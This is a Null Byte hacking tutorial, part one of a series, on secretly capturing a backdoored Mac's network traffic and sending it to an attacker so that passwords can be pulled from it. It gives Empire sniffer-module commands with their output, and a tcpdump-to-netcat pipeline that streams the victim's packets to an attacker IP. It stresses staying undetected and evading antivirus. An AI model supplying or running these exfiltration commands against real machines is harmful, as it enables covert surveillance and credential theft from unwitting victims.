Hacking macOS: How to Sniff Passwords on a Mac in Real Time, Part 1 (Packet Exfiltration) « Null Byte :: WonderHowTo

With therise of website encryption(TLS), sniffing passwords from network activity has become difficult. However, it's still possible to quietly exfiltrate a target's network traffic in real time to extract passwords and sensitive information. Pertaining to macOS, there are two methods for retrieving traffic from a backdoored Mac.The first method requiresEmpire, a post-exploitation framework. Empire can beembedded into a MacBookusing aUSB Rubber Ducky, duringsingle-user mode attacksor by social engineering the target into running a malicious command. The Empiresniffermodule makes capturing and exfiltrating traffic easy.Don't Miss:How to Install a Persistent Empire Backdoor on a MacBookMethod two doesn't require any post-exploitation frameworks and is much more discreet. This technique may be more desirable for users trying toevade antivirus(AV) detection as some Empire modules are flagged as malicious. From aprimitive Netcat backdoor, it's possible to use Tcpdump (which comes preinstalled on macOS) to capture network traffic and exfiltrate the data using a Netcat tunnel. This technique would be deemed "living off the land," and may be preferred by readers trying to remain completely undetected on the device.Option 1: Use the Empire Sniffer ModuleAfterestablishing an Empire backdoorandcreating a listenerto receive connections from the compromised MacBook, enter theusemodulecommand to enable thesniffermodule.(Empire: V9DGUVIL) > usemodule collection/osx/sniffer*Use theoptionscommand to view the available settings.(Empire: python/collection/osx/sniffer) > options

              Name: PcapSniffer
            Module: python/collection/osx/sniffer
        NeedsAdmin: True
         OpsecSafe: False
          Language: python
MinLanguageVersion: 2.6
        Background: False
   OutputExtension: pcap

Authors:
  Alex Rymdeko-Harvey
  @Killswitch-GUI

Description:
  This module will do a full network stack capture.

Comments:
  Using libpcap.dylib we can perform full pcap on a remote
  host.

Options:

  Name             Required    Value                     Description
  ----             --------    -------                   -----------
  PcapDylib        True        /usr/lib/libpcap.A.dylib  Path of the Pcap Dylib (Defualt)
  Agent            True        V9DGUVIL                  Agent to run from.
  MaxPackets       True        100                       Set max packets to capture.
  SavePath         True        /tmp/debug.pcap           Path of the  file to save
  CaptureInterface False                                 Set interface name ie. en0 (Auto resolve
                                                         by default)
  Debug            True        False                     Enable to get verbose message status
                                                         (Dont enable OutputExtension for this).
  LibcDylib        True        /usr/lib/libSystem.B.dyl  Path of the std C Dylib (Defualt)TheMaxPacketsoption determines when the packet sniffer should be terminated. By default, it's set to 100 packets, which is quite low. A value much higher, like 1,000 or 10,000 may be more desirable for most scenarios. Change the MaxPackets value using the belowsetcommand.(Empire: python/collection/osx/sniffer) > set MaxPackets 1000Empire will capture packets and save them on the macOS device to a file named "debug.pcap" in the /tmp/ directory. To change the directory, use the below command. Keep in mind, creating files on the compromised device may be dangerous for reasons I'll explain later in Option 2.(Empire: python/collection/osx/sniffer) > set SavePath /path/to/new/directory/outputFilename.pcapFinally,executeto begin sniffing traffic on the backdoored macOS device.(Empire: python/collection/osx/sniffer) > execute
[>] Module is not opsec safe, run? [y/N] y
[*] Tasked V9DGUVIL to run TASK_CMD_WAIT_SAVE
[*] Agent V9DGUVIL tasked with task ID 9
[*] Tasked agent V9DGUVIL to run module python/collection/osx/sniffer
(Empire: python/collection/osx/sniffer) >After a few seconds, Empire will automatically exfiltrate the PCAP (packet capture) to your Kali system and report a new PCAP file containing the sniffed traffic was saved to your Empire directory.[*] Compressed size of tokyoneons-MacBook-Air.local.pcap download: 294 KB
[*] Final size of tokyoneons-MacBook-Air.local.pcap wrote: 381 KB
[+] File sniffer/tokyoneons-MacBook-Air.local.pcap from V9DGUVIL saved
[*] Agent V9DGUVIL returned results.
Output saved to ./downloads/V9DGUVIL/sniffer/tokyoneons-MacBook-Air.local.pcap
[*] Valid results returned by 192.168.0.133Navigate to the /path/to/Empire/downloads/<TARGET>/sniffer/ directory to find the PCAP if Empire is running locally. Alternatively, if Empire is running on aVPS, its directories can be synced to a local machine usingSyncthing, a secure file-sharing software.Don't Miss:The White Hat's Guide to Choosing a Virtual Private ServerOption 2: Use Tcpdump to Sniff TrafficAs I mentioned earlier,Tcpdump, a command-line network traffic analyzer, comes preinstalled in macOS devices. Unlike Empire, Tcpdump will be configured to immediately send (exfiltrate) the data to the attacker's machine. Using this method, the attacker will not need to create (suspicious) PCAP files in any location on the target device. Creating files on the compromised device can be dangerous and alert the victim to our presence.Before we can capture and exfiltrate sniffed traffic from the macOS device, we'll need to set up a listening service to receive the incoming data. To do this, we'll use Netcat in Kali.Don't Miss:How to Use Netcat, the Swiss Army Knife of Hacking Toolsnc -l -p 7777 | tee /tmp/sniffed_output.pcapng

tcpdump: listening on wlan0, link-type AAAAAA (Ethernet), capture size 262144 bytesNetcat will listen (-l) for incoming connections on port (-p)7777. The port number here is arbitrary and can be anything you want. Netcat will then pipe (|) the packets intotee, which will write the data to a local file on the attacker's system.Now,from a backdoor, use the following command to capture traffic and send it to the attacker's Netcat listener./usr/sbin/tcpdump -w - | nc ATTACKER-IP-HERE 7777

tcpdump: data link type PKTAP
tcpdump: listening on pktap, link-type PKTAP (Apple DLT_PKTAP), capture size 262144 bytes
Got 665Both Netcat terminals must remain open to continue capturing, sending, and receiving data. The-win this command is required for Tcpdump to output data in a pipable format and effectively send the data through the Netcat tunnel. Other Tcpdump arguments and filters can be used before sending data through the pipe, but the-wmust always be present.The "Got 665" in the above terminal indicates how many packets were sent to the attacker's system. This number will increase as the victim continues to use the internet.To stop the packet exfiltration (without losing the Netcat backdoor), pressCtrl-Cin the attacker's Netcat terminal. The captured data can be analyzed for sensitive information using theTsharkandWireshark, which I'll show how using in my next article. And that's it for capturing and exfiltrating network activity from macOS devices.Next Up:How to Sniff Passwords on a Mac in Real Time, Part 2 (Packet Analysis)Follow Null Byte onTwitter,Flipboard, andYouTubeFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo byDaniel Putzer/PEXELSRelatedHacking macOS:How to Sniff Passwords on a Mac in Real Time, Part 2 (Packet Analysis)How To:The Ultimate Guide to Hacking macOSMac for Hackers:How to Set Up a MacOS System for Wi-Fi Packet CapturingHow To:Hack LAN passwords with EttercapHacker Fundamentals:The Everyman's Guide to How Network Packets Are Routed Across the WebHow To:Build an FTP Password Sniffer with Scapy and PythonHow To:Securely Sniff Wi-Fi Packets with SniffglueHack Like a Pro:How to Conduct a Simple Man-in-the-Middle AttackHow To:Easily Bypass macOS High Sierra's Login Screen & Get Root (No Password Hacking Required)Hack Like a Pro:How to Use Driftnet to See What Kind of Images Your Neighbor Looks at OnlineHacking macOS:How to Automate Screenshot Exfiltration from a Backdoored MacBookHacking macOS:How to Hack a Mac Password Without Changing ItHow to Hack Wi-Fi:Cracking WEP Passwords with Aircrack-NgHow To:Hack WPA WiFi Passwords by Cracking the WPS PINHow To:Use Ettercap to Intercept Passwords with ARP SpoofingMac for Hackers:How to Get Your Mac Ready for HackingHow To:Create a Bootable Install USB Drive of macOS 10.12 SierraNews:'Messages in iCloud' Finally Available for Macs, Not Just iOS DevicesHow To:Protect Yourself from macOS High Sierra's Glaring Empty-Password Security FlawHow To:Detect When a Device Is Nearby with the ESP8266 Friend DetectorHow To:Crack Wi-Fi Passwords—For Beginners!How To:Packet sniff networks with the fundamentalsMac for Hackers:How to Install the Metasploit FrameworkHow To:Hack Anyone's Facebook, Twitter or YouTube Account with Your Android DeviceHow To:Use Wireshark to Steal Your Own Local PasswordsHow To:How Hackers Steal Your Internet & How to Defend Against ItHow To:Get Free Wi-Fi from Hotels & MoreHow To:Hack Mac OS X Lion PasswordsHow To:Bypass a Local Network Proxy for Free InternetNews:Half a Million Macs Affected by Flashback Trojan! Eradicate It Before It's Too LateMastering Security, Part 1:How to Manage and Create Strong PasswordsHow To:Spy on Your "Buddy's" Network Traffic: An Intro to Wireshark and the OSI ModelGoodnight Byte:HackThisSite Walkthrough, Part 4 - Legal Hacker TrainingNews:Anonymity, Darknets and Staying Out of Federal Custody, Part Two: Onions and Daggers